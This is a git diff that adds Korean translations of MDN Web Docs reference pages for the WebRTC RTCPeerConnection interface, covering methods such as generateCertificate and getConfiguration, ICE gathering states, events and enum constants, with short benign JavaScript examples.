+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html b/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html new file mode 100644 index 0000000000..d516a3435f --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html @@ -0,0 +1,69 @@ +--- +title: RTCPeerConnection.generateCertificate() +slug: Web/API/RTCPeerConnection/generateCertificate +translation_of: Web/API/RTCPeerConnection/generateCertificate +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스의 generateCertificate() 메소드는 X.509 인증서와 해당하는 개인 키를 생성하고 저장합니다. 그리고 접근이 가능한 {{domxref("RTCCertificate")}}를 반환합니다.

+ +

Syntax

+ +
var cert = RTCPeerConnection.generateCertificate(keygenAlgorithm)
+ +

매개변수

+ +
+
keygenAlgorithm
+
키를 생성하는데 사용하는 알고리즘을 식별하는 {{domxref("DOMString")}}입니다.
+
+ +
+

RTCPeerConnection.generateCertificate() 은 정적인 메소드로, 따라서 인스턴스가 아닌 RTCPeerConnection 인터페이스에서 항상 호출됩니다.

+
+ +

반환 값

+ +

{{domxref("RTCCertificate")}} 객체에 대한 참조 값입니다.

+ +

예제

+ +
RTCPeerConnection.generateCertificate({
+    name: 'RSASSA-PKCS1-v1_5',
+    hash: 'SHA-256',
+    modulusLength: 2048,
+    publicExponent: new Uint8Array([1, 0, 1])
+}).then(function(cert) {
+  var pc = new RTCPeerConnection({certificates: [cert]});
+});
+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-generateCertificate-Promise-RTCCertificate--AlgorithmIdentifier-keygenAlgorithm', 'generateCertificate()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.generateCertificate")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html b/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html new file mode 100644 index 0000000000..c2d278cf1a --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html @@ -0,0 +1,78 @@ +--- +title: RTCPeerConnection.getConfiguration() +slug: Web/API/RTCPeerConnection/getConfiguration +translation_of: Web/API/RTCPeerConnection/getConfiguration +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.getConfiguration() 메소드는 호출 된 {{domxref("RTCPeerConnection")}}의 현재 설정을 알려주는 {{domxref("RTCConfiguration")}} 객체를 반환합니다.

+ +

여기서 반환되는 설정 값 은 가장 최근에 적용했던 {{domxref("RTCPeerConnection.setConfiguration","setConfiguration()")}} 혹은 setConfiguration()가 호출 되지 않았다면, RTCPeerConnection가 구성되면서 생긴 설정입니다. 이 설정은 연결에 의해 사용되는 ICE 서버의 리스트, 전송 정책에 관한 정보, 그리고 식별 정보를 포함합니다. 

+ +

Syntax

+ +
var configuration = RTCPeerConnection.getConfiguration();
+ +

매개변수

+ +

이 메소드는 입력 변수를 받지 않습니다.

+ +

반환 값

+ +

{{domxref("RTCPeerConnection")}}의 현재 설정을 알려주는 {{domxref("RTCConfiguration")}} 객체입니다.

+ +

예시

+ +

아래의 예제는 활성화된 연결에서 이미 사용 중인 인증서가 없다면, 신규 인증서를 추가하는 작업입니다.

+ +
let configuration = myPeerConnection.getConfiguration();
+
+if ((configuration.certificates != undefined) && (!configuration.certificates.length)) {
+   RTCPeerConnection.generateCertificate({
+      name: 'RSASSA-PKCS1-v1_5',
+      hash: 'SHA-256',
+      modulusLength: 2048,
+      publicExponent: new Uint8Array([1, 0, 1])
+  }).then(function(cert) {
+    configuration.certificates = [cert];
+    myPeerConnection.setConfiguration(configuration);
+  });
+}
+
+ +

위의 예제에서는 {{domxref("RTCPeerConnection")}}의 현재 설정을 가져 온 다음에, 인증서가 존재하는지 확인하기 위해 (1) 설정에 certificates값이 포함되어 있는지, (2) 길이가 0인지를 확인합니다.

+ +

만약 인증서가 존재하지 않으면, {{domxref("RTCPeerConnection.generateCertificate()")}}가 호출되어 신규 인증서를 만들어냅니다. 여기에 fulfillment 핸들러를 제공해서 새로 만들어진 인증서를 포함하는 배열을 현재 설정에 추가하고, {{domxref("RTCPeerConnect.setConfiguration", "setConfiguration()")}}에 전달해서 연결에 인증서를 추가합니다.

+ +

명세

+ + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-getConfiguration-RTCConfiguration', 'getConfiguration()')}}{{Spec2('WebRTC 1.0')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCPeerConnection.getConfiguration")}}

+
+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html b/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html new file mode 100644 index 0000000000..e5c826c811 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html @@ -0,0 +1,60 @@ +--- +title: RTCPeerConnection.getIdentityAssertion() +slug: Web/API/RTCPeerConnection/getIdentityAssertion +translation_of: Web/API/RTCPeerConnection/getIdentityAssertion +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

RTCPeerConnection.getIdentityAssertion() 메소드는 식별 주장의 수집을 시작합니다. 이 메소드는 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 "closed" 상태가 아닐 때에만 유효합니다.

+ +

이 메소드는 즉시 반환하게됩니다. 식별 주장이 생성 될 수 없다면, 객체에 {{event("idpassertionerror")}}가 전달됩니다. 

+ +

이는 자동으로 수행되기 때문에, 어플리케이션에서 RTCPeerConnection을 직접 다룰 일은 없습니다.명시적인 호출로 필요한 것이 무엇인지 정도만 알 수 있습니다.

+ +

Syntax

+ +
pc.getIdentityAssertion();
+
+ +
+
+ +

이 메소드에는 매개변수 혹은 반환 값이 없습니다. 

+ +

예시

+ +
var pc = new PeerConnection();
+
+pc.getIdentityAssertion(); // Not mandatory, but we know that we will need it in the future.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-getIdentityAssertion-void', 'RTCPeerConnection.getIdentityAssertion()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.getIdentityAssertion")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/getreceivers/index.html b/files/ko/web/api/rtcpeerconnection/getreceivers/index.html new file mode 100644 index 0000000000..4f2802a7ac --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/getreceivers/index.html @@ -0,0 +1,55 @@ +--- +title: RTCPeerConnection.getReceivers() +slug: Web/API/RTCPeerConnection/getReceivers +translation_of: Web/API/RTCPeerConnection/getReceivers +--- +
{{APIRef("WebRTC")}}{{SeeCompatTable}}
+ +

RTCPeerConnection.getReceivers() 메소드는 {{domxref("RTCRtpReceiver")}} 객체의 배열을 반환합니다. 이 배열의 각 요소들은 RTP 리시버를 나타냅니다. 각각의 RTP 리시버는 {{domxref("RTCPeerConnection")}}에 대한 {{domxref("MediaStreamTrack")}}의 데이터를 수신하고 디코딩 합니다.

+ +

Syntax

+ +
var receivers[] = RTCPeerConnection.getReceivers();
+
+ +

반환 값

+ +

연결에 대한 각 트랙마다 한 개씩 {{domxref("RTCRtpReceiver")}} 객체의 배열을 반환합니다. R연결에 대한 RTP 리시버가 없으면, 배열은 빈 상태입니다.

+ +

RTCReceiver 인스턴스에서 반환되는 순서는 명세서에 정의되어있지 않고, getSenders()호출을 사용해서 다음 배열의 요소로 바꿀 수 있습니다.

+ +

예시

+ +

tbd

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-getsenders', 'RTCPeerConnection.getSenders()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.getReceivers")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/getsenders/index.html b/files/ko/web/api/rtcpeerconnection/getsenders/index.html new file mode 100644 index 0000000000..ca05cf45dd --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/getsenders/index.html @@ -0,0 +1,55 @@ +--- +title: RTCPeerConnection.getSenders() +slug: Web/API/RTCPeerConnection/getSenders +translation_of: Web/API/RTCPeerConnection/getSenders +--- +
{{APIRef("WebRTC")}}
+ +

{{domxref("RTCPeerConnection")}}의 getSenders() 메소드는 {{domxref("RTCRtpSender")}} 객체의 배열을 반환합니다. 배열의 각 객체는 하나의 트랙의 데이터의 송신을 담당하는 RTP sender를 나타냅니다. Sender 객체는 트랙 데이터의 인코딩과 송신을 확인하고, 조작 할 수 있는 메소드와 속성들을 제공합니다.

+ +

Syntax

+ +
var senders = RTCPeerConnection.getSenders();
+
+ +

반환 값

+ +

연결의 각 트랙마다 한 개의 {{domxref("RTCRtpSender")}} 객체 배열을 반환합니다. 연결의 RTP sender가 존재하지 않으면, 배열은 빈 상태입니다.

+ +

RTCRtpSenders 의 반환 값 순서는 정의되어있지 않고, getSenders() 호출을 통해서 다음 배열 요소로 바꿀 수 있습니다.

+ +

예시

+ +

tbd

+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-getsenders', 'RTCPeerConnection.getSenders()') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.getSenders")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html b/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html new file mode 100644 index 0000000000..98d79ccbc5 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html @@ -0,0 +1,63 @@ +--- +title: RTCPeerConnection.getTransceivers() +slug: Web/API/RTCPeerConnection/getTransceivers +translation_of: Web/API/RTCPeerConnection/getTransceivers +--- +

{{APIRef("WebRTC")}}

+ +

{{domxref("RTCPeerConnection")}} 인터페이스의 getTransceivers() 메소드는 연결에서 데이터 전송 및 수신에 사용되는 {{domxref("RTCRtpTransceiver")}} 객체의 리스트를 반환합니다.

+ +

Syntax

+ +
transceiverList = RTCPeerConnection.getTransceivers();
+ +

매개변수

+ +

없음.

+ +

반환 값

+ +

RTCPeerConnection에 대한 모든 미디어의 전송/수신을 관리하는 트랜시버를 나타내는 {{domxref("RTCRtpTransceiver")}} 객체의 배열입니다. 리스트의 순서는 트랜시버가 연결에 추가된 순서대로 정렬되어있습니다.

+ +

예시

+ +

아래 코드는 RTCPeerConnection와 연관된 모든 트랜시버를 중지시킵니다.

+ +
pc.getTransceivers.forEach(transceiver => {
+  transceiver.stop();
+});
+
+ +

설명서

+ + + + + + + + + + + + + + +
설명서상태코멘트
{{SpecName("WebRTC 1.0", "#dom-rtcpeerconnection-gettransceivers", "RTCPeerConnection.getTransceivers()")}}{{Spec2("WebRTC 1.0")}}
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.RTCPeerConnection.getTransceivers")}}

+
+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html b/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html new file mode 100644 index 0000000000..9d7a094688 --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html @@ -0,0 +1,85 @@ +--- +title: RTCPeerConnection.iceGatheringState +slug: Web/API/RTCPeerConnection/iceGatheringState +translation_of: Web/API/RTCPeerConnection/iceGatheringState +--- +

{{APIRef("WebRTC")}}{{SeeCompatTable}}

+ +

읽기 속성인 RTCPeerConnection.iceGatheringState는 연결 인터페이스의 ICE 수집 상태를 알려주는 RTCIceGatheringState타입의 Enum을 반환합니다. 이 속성을 활용하면, ICE candidate 수집 과정이 언제 종료되는지 감지 할 수 있습니다. 

+ +

icegatheringstatechange타입의 이벤트 감시를 통해 이 속성 값이 언제 변하는지를 확인 할 수 있습니다.

+ +

Syntax

+ +
 var state = RTCPeerConnection.iceGatheringState;
+ +

+ +

반환되는 값은 RTCIceGatheringState타입의 Enum입니다. 

+ + + +

RTCIceGatheringState enum섹션

+ +

RTCPeerConnection.iceGatheringState 속성을 사용하게되면 반환되는 RTCIceGatheringState enum은 현재의 ICE 수집 상태를 반영하여 알려주는 문자열 상수입니다. icegatheringstatechange 타입의 이벤트를 감시해서 이 값이 언제 변하는지 확인 할 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"new"피어 연결이 새로 생성되었지만, 아직 네트워킹은 시작되지 않은 상태
"gathering"ICE 에이전트가 연결을 위한 ICE candidate를 수집하는 과정에 있음을 알려주는 상태
"complete"ICE 에이전트가 candidate 수집을 완료한 상태. 새로운 인터페이스가 추가되거나, 신규 ICE 서버가 추가와 같이 신규 ICE candidate를 수집해야하는 상황이 오면, 상태가 complete에서 gathering으로 다시 바뀝니다.
+ +


+ 예시

+ +
var pc = new RTCPeerConnection();
+var state = pc.iceGatheringState;
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-iceGatheringState', 'RTCPeerConnection.iceGatheringState') }}{{ Spec2('WebRTC 1.0') }}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.iceGatheringState")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html b/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html new file mode 100644 index 0000000000..ad713beeda --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html @@ -0,0 +1,102 @@ +--- +title: 'RTCPeerConnection: icegatheringstatechange event' +slug: Web/API/RTCPeerConnection/icegatheringstatechange_event +translation_of: Web/API/RTCPeerConnection/icegatheringstatechange_event +--- +
{{APIRef("WebRTC")}}
+ +

icegatheringstatechange 이벤트는 {{Glossary("ICE")}} candidate 수집 과정이 변경되면,  {{domxref("RTCPeerConnection")}}의 이벤트 핸들러인 {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}}로 전달됩니다. 이는 연결의 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 속성이 변경되었다는 것을 뜻합니다.

+ +

ICE가 처음 연결 candidate들을 수집하게되면 값이 new에서 gathering으로 바뀌게 되고, 이는 연결에 대한 candidate 설정들을 수집하는 과정 중에 있다는 뜻입니다. 값이 complete가 되면, RTCPeerConnection을 구성하는 모든 트랜스포트들이 ICE candidate 수집을 완료한 상태입니다.

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
취소가능여부No
인터페이스{{domxref("Event")}}
이벤트 핸들러{{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}}
+ +
+

참고: ICE candidate 수집 과정이 완료되었는지는 icegatheringstatechange이벤트와 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}의 값이 complete로 바뀌는 것을 확인하면 알 수 있습니다. 하지만, 더 쉬운 방법으로는 {{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}} 이벤트에 대한 핸들러가 {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} 속성의 값이 null로 변하는 시점을 체크하도록 할 수 있습니다. 이 속성이 null 값으로 바뀌었다는 것은 즉 모든 candidate 수집이 완료되었다는 뜻입니다. 

+
+ +

예시

+ +

아래 예제는 icegatheringstatechange 이벤트에대한 핸들러를 생성합니다.

+ +
pc.onicegatheringstatechange = ev => {
+  let connection = ev.target;
+
+  switch(connection.iceGatheringState) {
+    case "gathering":
+      /* candidate 수집 과정 시작 */
+      break;
+    case "complete":
+      /* candidate 수집 완료 */
+      break;
+  }
+}
+
+ +

아래처럼 {{domxref("EventTarget.addEventListener", "addEventListener()")}}을 사용해서 icegatheringstatechange 이벤트에 대한 변경을 감지하는 리스너를 추가 할 수 있습니다.

+ +
pc.addEventListener("icegatheringstatechange", ev => {
+  let connection = ev.target;
+
+  switch(connection.iceGatheringState) {
+    case "gathering":
+      /* candidate 수집 과정 시작 */
+      break;
+    case "complete":
+      /* candidate 수집 완료 */
+      break;
+  }
+}, false);
+ +

명세

+ + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('WebRTC 1.0', '#event-icegatheringstatechange', 'icecandidatestatechange')}}{{Spec2('WebRTC 1.0')}}Initial specification.
+ +

브라우저 호환성

+ + + +

{{Compat("api.RTCPeerConnection.icegatheringstatechange_event")}}

+ +

참조

+ + diff --git a/files/ko/web/api/rtcpeerconnection/index.html b/files/ko/web/api/rtcpeerconnection/index.html new file mode 100644 index 0000000000..295552696c --- /dev/null +++ b/files/ko/web/api/rtcpeerconnection/index.html @@ -0,0 +1,356 @@ +--- +title: RTCPeerConnection +slug: Web/API/RTCPeerConnection +translation_of: Web/API/RTCPeerConnection +--- +

{{APIRef('WebRTC')}}{{draft}}

+ +

RTCPeerConnection 인터페이스는 로컬 컴퓨터와 원격 피어 간의 WebRTC 연결을 담당하며 원격 피어에 연결하기 위한 메서드들을 제공하고, 연결을 유지하고 연결 상태를 모니터링하며 더 이상 연결이 필요하지 않을 경우 연결을 종료합니다.

+ +

{{InheritanceDiagram}}

+ +

{{InterfaceOverview("WebRTC")}}

+ +

사용되지 않는 메서드

+ +

다음 메서드는 오래 전부터 사용되지 않았으며 모든 주요 브라우저에서 구현되지 않았습니다.

+ +
+
{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}
+
특정 {{domxref("MediaStreamTrack")}}와 관련된 신규 {{domxref("RTCDTMFSender")}}를 생성합니다. {{domxref("RTCDTMFSender")}}는 연결을 통해 {{Glossary("DTMF")}} 전화 신호를 보낼 수 있습니다. 
+
+ +

이벤트

+ +

{{domxref("EventTarget.addEventListener", "addEventListener()")}}를 이용하여 아래 이벤트를 리스닝하거나 이 인터페이스의 oneventname 프로퍼티에 이벤트 리스너를 할당할 수 있습니다.

+ +
+
{{domxref("RTCPeerConnection.connectionstatechange_event", "connectionstatechange")}}
+
RTCPeerConnection의 연결상태가 바뀌면, RTCPeerConnection 객체에 전달합니다. 이는 또한,  {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다. 
+
{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}
+
원격 피어가 {{domxref("RTCDataChannel")}}을 연결에 추가하게되면 RTCPeerConnection 객체에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}
+
특정 ICE candidate가 원격 피어에 전달되도록 피어 연결에 요청을 보냅니다. 또한, {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}
+
ICE candidate를 수집하는 과정에서 에러가 발생하면 연결에 {{domxref("RTCPeerConnectionIceErrorEvent")}} 에러 타입을 보냅니다. 이는 또한, {{domxref("RTCPeerConnection.onicecandidateerror", "onicecandidateerror")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.iceconnectionstatechange_event", "iceconnectionstatechange")}}
+
연결이 끊기는 상황과 같이 ICE 연결의 상태가 변하게되면 RTCPeerConnection에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
+ +
+
{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}
+
{{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}에 의해 반영되는 ICE 계층의 수집 상태가 변하면, RTCPeerConnection에 전달합니다. 계층의 수집 상태는 ICE 네고시에이션이 아직 시작을 안했거나 (new), 시작하고 candidate를 수집하는 중이거나 (gathering), 혹은 수집이 완료 (complete)된 상태로 나눠집니다. 이는 또한, {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}
+
연결과 관련이 있는 하나의 {{domxref("MediaStreamTrack")}} 객체가 있는 {{domxref("MediaStreamTrack.isolated", "isolated")}} 속성의 값이 변하면, RTCPeerConnection에 전달합니다. 만약 미디어 컨텐츠가 인증이 되어있지 않거나, 트랙이 cross-origin source (CORS)에서 오는 것이라면 트랙의 상태는 {{domxref("MediaStreamTrack.isolated", "isolated")}}이 됩니다. 이는 또한, {{domxref("RTCPeerConnection.onisolationchange", "onisolationchange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
+ +
+
{{domxref("RTCPeerConnection.negotiationneeded_event", "negotiationneeded")}}
+
ICE 연결의 네고시에이션 혹은 네고시에이션을 다시 수행해야 할 때, RTCPeerConnection에 전달됩니다. 이는 연결이 처음 생성되는 순간뿐만아니라 네트워크 조건이 바뀌게 되면 발생합니다. 리시버는 offer를 생성하고, 이를 다른 피어에 전달하기위해 응답해야합니다. 이는 또한, {{domxref("RTCPeerConnection.onnegotiationneeded", "onnegotiationneeded")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.signalingstatechange_event", "signalingstatechange")}}
+
연결의 ICE 신호 상태가 변경되면 signalingstatechange이벤트를 RTCPeerConnection에 전달합니다. 이는 또한, {{domxref("RTCPeerConnection.onsignalingstatechange", "onsignalingstatechange")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
{{domxref("RTCPeerConnection.statsended_event", "statsended")}}
+
모니터링이 되던 statistics 객체가 삭제되면, statsended이벤트를 전달합니다. {{domxref("RTCStatsEvent")}}는 삭제된 객체의 마지막 리포트를 포함합니다. 마지막 리포트를 전달받고나서 여러개의 객체가 삭제되었다면, 여러 객체에 대한 마지막 리포트를 포함합니다. 예를 들어 연결이 종료되거나 삭제되면, statistics 객체는 삭제됩니다. 
+
The statsended event is sent when a statistics object being monitored is deleted. The {{domxref("RTCStatsEvent")}} includes the final report on the deleted object (or objects, if multiple objects have been deleted since the last report was delivered). A statistics object is deleted, for example, when the connection is closed and deleted.
+ Available as the {{domxref("RTCPeerConnection.onstatsended", "onstatsended")}} event handler property.
+
{{domxref("RTCPeerConnection.track_event", "track")}}
+
연결을 구성하고 있는 {{domxref("RTCRtpReceiver")}} 인스턴스들 중 하나에 신규 트랙이 추가된 후에, track이벤트를 보냅니다. 이는 또한, {{domxref("RTCPeerConnection.ontrack", "ontrack")}} 이벤트 핸들러 속성을 통해 사용이 가능합니다.
+
+ +

사용되지 않는 이벤트

+ +
+
{{domxref("RTCPeerConnection.addstream_event", "addstream")}} {{obsolete_inline}}
+
Sent when a new {{domxref("MediaStream")}} has been added to the connection. Instead of watching for this obsolete event, you should watch each for {{domxref("RTCPeerConnection.track_event", "track")}} events; one is sent for each {{domxref("MediaStreamTrack")}} added to the connection.
+ Available as the {{domxref("RTCPeerConnection.onaddstream", "onaddstream")}} event handler property.
+
{{domxref("RTCPeerConnection.identityresult_event", "identityresult")}} {{obsolete_inline}}
+
In old versions of the WebRTC specification, this event was used to indicate that an identity assertion is available. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to resolve with an identity.
+ Also available using the {{domxref("RTCPeerConnection.onidentityresult", "onidentityresult")}} event handler property.
+
{{domxref("RTCPeerConnection.idpassertionerror_event", "idpassertionerror")}} {{obsolete_inline}}
+
In old versions of the WebRTC specification, this event was used to indicate that an error occurred while attempting to generate an identity assertion. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to be rejected with an error.
+ Also available as the {{domxref("RTCPeerConnection.onidpassertionerror", "onidpinsertionerror")}} event handler property.
+
{{domxref("RTCPeerConnection.idpvalidationerror_event", "idpvalidationerror")}} {{obsolete_inline}}
+
In old versions of the WebRTC specification, this event was used to indicate that an error occurred while attempting to validate an identity assertion. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to be rejected with an error.
+ Also available using the {{domxref("RTCPeerConnection.onpeeridentity", "onpeerdentity")}} event handler property.
+
{{domxref("RTCPeerConnection.peeridentity_event", "peeridentity")}} {{obsolete_inline}}
+
In old versions of the WebRTC specification, this event was used to deliver a received identity. Now, you should instead wait for a the promise returned by {{domxref("RTCPeerConnection.peerIdentity", "peerIdentity")}} to resolve with an identity.
+
{{domxref("RTCPeerConnection.removestream_event", "removestream")}} {{obsolete_inline}}
+
Sent to the RTCPeerConnection when a {{domxref("MediaStream")}} is removed from the connection. Instead of watching for this obsolete event, you should watch each stream for {{domxref("MediaStream.removetrack_event", "removetrack")}} events on each stream within the RTCPeerConnection.
+ Also available as the {{domxref("RTCPeerConnection.onremovestream", "onaddstream")}} event handler property.
+
+ +

상수

+ +

RTCBundlePolicy 열거체

+ +

The RTCBundlePolicy enum defines string constants which are used to request a specific policy for gathering ICE candidates if the remote peer isn't compatible with the SDP BUNDLE standard for bundling multiple media streams on a single transport link.

+ +
+

In technical terms, a BUNDLE lets all media flow between two peers flow across a single 5-tuple; that is, from the same IP and port on one peer to the same IP and port on the other peer, using the same transport protocol.

+
+ + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"balanced"On BUNDLE-aware connections, the ICE agent should gather candidates for all of the media types in use (audio, video, and data). Otherwise, the ICE agent should only negotiate one audio and video track on separate transports.
"max-compat"The ICE agent should gather candidates for each track, using separate transports to negotiate all media tracks for connections which aren't BUNDLE-compatible.
"max-bundle"The ICE agent should gather candidates for just one track. If the connection isn't BUNDLE-compatible, then the ICE agent should negotiate just one media track.
+ +

RTCIceConnectionState 열거체

+ +

The RTCIceConnectionState enum defines the string constants used to describe the current state of the ICE agent and its connection to the ICE server (that is, the {{Glossary("STUN")}} or {{Glossary("TURN")}} server).

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"new"The ICE agent is gathering addresses or is waiting to be given remote candidates through calls to {{domxref("RTCPeerConnection.addIceCandidate()")}} (or both).
"checking"The ICE agent has been given one or more remote candidates and is checking pairs of local and remote candidates against one another to try to find a compatible match, but has not yet found a pair which will allow the peer connection to be made. It's possible that gathering of candidates is also still underway.
"connected"A usable pairing of local and remote candidates has been found for all components of the connection, and the connection has been established. It's possible that gathering is still underway, and it's also possible that the ICE agent is still checking candidates against one another looking for a better connection to use.
"completed"The ICE agent has finished gathering candidates, has checked all pairs against one another, and has found a connection for all components.
"failed"The ICE candidate has checked all candidates pairs against one another and has failed to find compatible matches for all components of the connection. It is, however, possible that the ICE agent did find compatible connections for some components.
"disconnected"Checks to ensure that components are still connected failed for at least one component of the {{domxref("RTCPeerConnection")}}. This is a less stringent test than "failed" and may trigger intermittently and resolve just as spontaneously on less reliable networks, or during temporary disconnections. When the problem resolves, the connection may return to the "connected" state.
"closed"The ICE agent for this {{domxref("RTCPeerConnection")}} has shut down and is no longer handling requests.
+ +

RTCIceGatheringState enum

+ +

{{domxref("RTCPeerConnection.iceGatheringState")}} 속성을 사용하게되면 반환되는 RTCIceGatheringState enum은 현재의 ICE 수집 상태를 반영하여 알려주는 문자열 상수입니다. {{event("icegatheringstatechange")}} 타입의 이벤트를 감시해서 이 값이 언제 변하는지 확인 할 수 있습니다.

+ + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"new"피어 연결이 새로 생성되었지만, 아직 네트워킹은 시작되지 않은 상태
"gathering"ICE 에이전트가 연결을 위한 ICE candidate를 수집하는 과정에 있음을 알려주는 상태
"complete"ICE 에이전트가 candidate 수집을 완료한 상태. 새로운 인터페이스가 추가되거나, 신규 ICE 서버가 추가와 같이 신규 ICE candidate를 수집해야하는 상황이 오면, 상태가 complete에서 gathering으로 다시 바뀝니다.
+ +

RTCIceTransportPolicy enum

+ +

The RTCIceTransportPolicy enum defines string constants which can be used to limit the transport policies of the ICE candidates to be considered during the connection process.

+ + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"all"All ICE candidates will be considered.
"public" {{obsolete_inline}}Only ICE candidates with public IP addresses will be considered. Removed from the specification's May 13, 2016 working draft.
"relay"Only ICE candidates whose IP addresses are being relayed, such as those being passed through a TURN server, will be considered.
+ +

RTCPeerConnectionState enum

+ +

RTCPeerConnectionState enum은 RTCPeerConnection이 존재 할 수 도있는 상태에 대해 알려주는 문자열 상수를 정의합니다. 이 값들은 {domxref("RTCPeerConnection.connectionState", "connectionState")}} 속성에 의해 반홥됩니다. 근본적으로 이 상태는 연결에 의해 사용되는 모든 ICE 전송 ({{domxref("RTCIceTransport")}} 혹은 {{domxref("RTCDtlsTransport")}}의 타입)의 상태 집합을 나타냅니다. 

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
상수명설명
"new" +

연결의 ICE 전송 중 적어도 한 개가 새로 만들어진 "new" 상태이고,  그 외의 나머지는 다음의 상태 중 하나가 아니여야 합니다: "connecting", "checking", "failed", 혹은 "disconnected", 혹은  모든 연결의 전송이 끝났다는 "closed"상태.

+
"connecting"하나 혹은 여러개의 ICE 전송이 현재 연결을 구성하는 중에 있음을 알려주는 값. 이는 RTCIceConnectionState"checking" 혹은 "connected"이며, 그 어떤 전송도 "failed"상태가 아니여야합니다. <<< Make this a link once I know where that will be documented
